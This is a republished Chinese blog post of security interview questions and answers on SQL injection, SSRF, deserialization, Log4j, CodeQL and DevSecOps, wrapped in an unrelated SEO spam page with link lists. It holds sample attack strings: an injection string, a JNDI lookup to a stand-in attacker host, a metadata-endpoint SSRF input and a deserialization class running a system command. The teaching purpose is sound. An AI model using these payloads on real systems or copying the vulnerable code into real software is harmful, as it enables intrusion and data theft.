当前位置: 首页 > wzjs >正文

天津自动网站建设调试营销技巧和话术

天津自动网站建设调试,营销技巧和话术,做个网站的费用,wordpress 会员权限前言: 本文将分享一些小米安全攻防工程师面试中的经典题目和答案解析,帮助大家更好地准备面试。以下内容涵盖了SQL注入、PHP与Java的预编译区别、SSRF攻击、防御方法等。 1. SQL注入怎么预防,预编译为什么能防? SQL注入是攻击者…

前言: 本文将分享一些小米安全攻防工程师面试中的经典题目和答案解析,帮助大家更好地准备面试。以下内容涵盖了SQL注入、PHP与Java的预编译区别、SSRF攻击、防御方法等。

1. SQL注入怎么预防,预编译为什么能防?

SQL注入是攻击者通过拼接恶意SQL语句,破坏数据库操作的攻击方式,例如 id=1 OR 1=1 导致全表查询。

预防方法:

  • 使用预编译(Prepared Statements) ✅ (最推荐)
  • 使用ORM框架(如Hibernate、MyBatis等) ✅
  • 严格控制输入参数(如黑名单、白名单) ✅
  • 数据库最小权限原则(最小化SELECT、INSERT、UPDATE等权限) ✅
  • 开启WAF(Web应用防火墙) ✅

预编译为什么能防? 预编译(Prepared Statement)会先解析SQL结构,再绑定参数,确保SQL和参数分离。这样即使攻击者输入 ' OR 1=1 -- 这样的数据,也只会被当作普通字符串处理,不会改变SQL逻辑。

示例(PHP+MySQLi):

$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();

2. PHP和Java的预编译有什么区别?

特性PHPJava
预编译方式PDO::prepare()PreparedStatement
SQL缓存不默认缓存,每次执行需解析JDBC驱动通常会缓存
变量绑定bindParam() 动态绑定setString() 直接传入
安全性依赖数据库支持,部分驱动可能仍有漏洞结构化查询,安全性更强
执行流程解析SQL → 绑定参数 → 执行解析SQL → 绑定参数 → 优化 → 执行

核心区别: Java的JDBC预编译通常由数据库进行缓存优化,而PHP的预编译可能在某些情况下仍会被绕过(如PDO某些模式下)。

3. SSRF在PHP和Java中的利用方式

SSRF(服务器端请求伪造)允许攻击者让服务器去请求内部资源,如 127.0.0.1metadata.google.internal(云服务器元数据)。

PHP SSRF示例:

$url = $_GET['url'];
$content = file_get_contents($url);  // 攻击者传入:http://169.254.169.254/latest/meta-data/
echo $content;

防御方法:

  • 禁止外部URL请求 (allow_url_fopen=Off)
  • 使用 curl 结合 CURLPROTO_HTTP | CURLPROTO_HTTPS
  • 解析IP并阻止 127.0.0.1、私有地址段

Java SSRF示例:

 

String url = request.getParameter("url");
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();

防御方法:

  • 解析 URL.getHost() 防止请求 localhost
  • 结合 InetAddress.getByName(host).isLoopbackAddress()

4. PHP和Java反序列化的异同及利用

相同点:

  • 都会将序列化的对象转换为可执行对象,可能触发 RCE(远程代码执行)
  • 利用链通常依赖于魔术方法(PHP的 __wakeup() / __destruct(),Java的 readObject()

PHP反序列化:

class Exploit { function __destruct() { system("id"); } }
$payload = serialize(new Exploit());
unserialize($_GET['data']);

Java反序列化:

ObjectInputStream in = new ObjectInputStream(new FileInputStream("data.ser"));
Object obj = in.readObject();

防御方法:

  • PHP:unserialize() 避免反序列化用户输入,改用 json_decode()
  • Java:使用 ObjectInputFilter 限制反序列化的类

5. SCA(软件成分分析)是什么,如何实现?

SCA(Software Composition Analysis)用于检测依赖库的安全漏洞。

实现方式:

  • 灰盒(依赖运行时):通过 agent 监控依赖加载,如 OpenTelemetry 或 AppSensor
  • 白盒(代码扫描):Maven + OWASP Dependency-Check 解析 pom.xml
  • Snyk、BlackDuck 检查开源组件

6. Log4j防御方法

  • 升级到Log4j 2.17+
  • 禁用JNDI (log4j2.formatMsgNoLookups=true)
  • 使用WAF拦截 ${jndi:ldap://attacker.com/a} 关键字

    7. 从Agent到字节码Hook的流程(伪代码) {#agenthook}

    public class Agent {public static void premain(String agentArgs, Instrumentation inst) {inst.addTransformer(new Transformer());}
    }class Transformer implements ClassFileTransformer {public byte[] transform(...) {// 修改字节码,例如插入日志}
    }

8. CodeQL可以用于CI/CD吗? {#codeqlcicd}

可以,可在 GitHub Actions 进行代码扫描:

name: Run CodeQL Analysis
uses: github/codeql-action/analyze@v2

 

9. CodeQL哪些地方会断,该如何处理? {#codeql}

问题: ✔ 代码量过大时OOM
✔ 复杂查询超时

解决方法: ✔ 增加内存 --ram=8G
✔ 拆分复杂查询


10. 白盒分析 vs. 灰盒分析 {#sastvsiast}

分析方式方式检测精度性能影响
白盒(SAST)代码静态分析高误报
灰盒(IAST)运行时监控低误报可能有开销

11. SAST、DAST、IAST优缺点 {#sastdastiast}

SAST(静态分析):代码级别检查,误报较多
DAST(动态扫描):黑盒测试,可能覆盖不足
IAST(交互分析):结合运行时信息,准确度更高


12. 了解DevSecOps吗? {#devsecops}

了解,DevSecOps是将安全融入CI/CD,如: ✔ SAST(SonarQube)
DAST(ZAP)
SCA(Snyk)


13. 未来想从事什么方向? {#future}

你是想往 Web安全 还是 自动化安全检测 方向发展?


👉 完整文章内容请见 CSDN 博客,点赞+收藏获取更多安全攻防面试题解析!

http://www.dtcms.com/wzjs/254654.html

相关文章:

  • 网页设计汽车网站建设公司查询
  • 网站开发技术是平台推广
  • 嘉兴seo公司网站网页在线秒收录
  • 商城网站哪个公司做的好aso优化推广
  • 合肥专业做公司网站百度竞价推广投放
  • 网站主持人制作网站代言人如何查看百度指数
  • 昆山品牌网站建设网站优化的方式有哪些
  • wordpress搭建购物网站济宁百度推广价格
  • 做电影网站赚钱的方法合肥网站制作推广
  • 用jsp做的网站在不同浏览器显示效果差异很大如何解决打开百度一下的网址
  • 北京建设信源资讯有限公司网站大数据查询
  • 上海网站推广排名百度搜索排名
  • 查看网站开发语言广州seo推广
  • 崇左网站建设全国疫情最新情况
  • 做响应网站福州排名seo公司
  • 万能浏览器手机版下载seo关键字怎么优化
  • 自己做网站靠什么赚钱吗培训网站源码
  • 海口网站开发百度收录网站需要多久
  • 网站界面用什么做b2b平台免费推广网站
  • 赣州品牌网站建设网站制作工具有哪些
  • 长兴县住房建设局网站网站推广软件费用是多少
  • 网站选项卡代码关键词排名点击
  • 网站创建一般创建哪种类型附子seo教程
  • wordpress 模板惠州百度seo哪里强
  • 微信app开发价格表aso排名优化
  • 建设摩托车官网旗舰店百度seo排名优化提高流量
  • 网站怎么做速排网站排名优化制作
  • 如何制作企业网站的版式百度seo公司哪家最好
  • 开发一个app有多难seo网页优化公司
  • 华联app每周四抢电影票沈阳网站关键字优化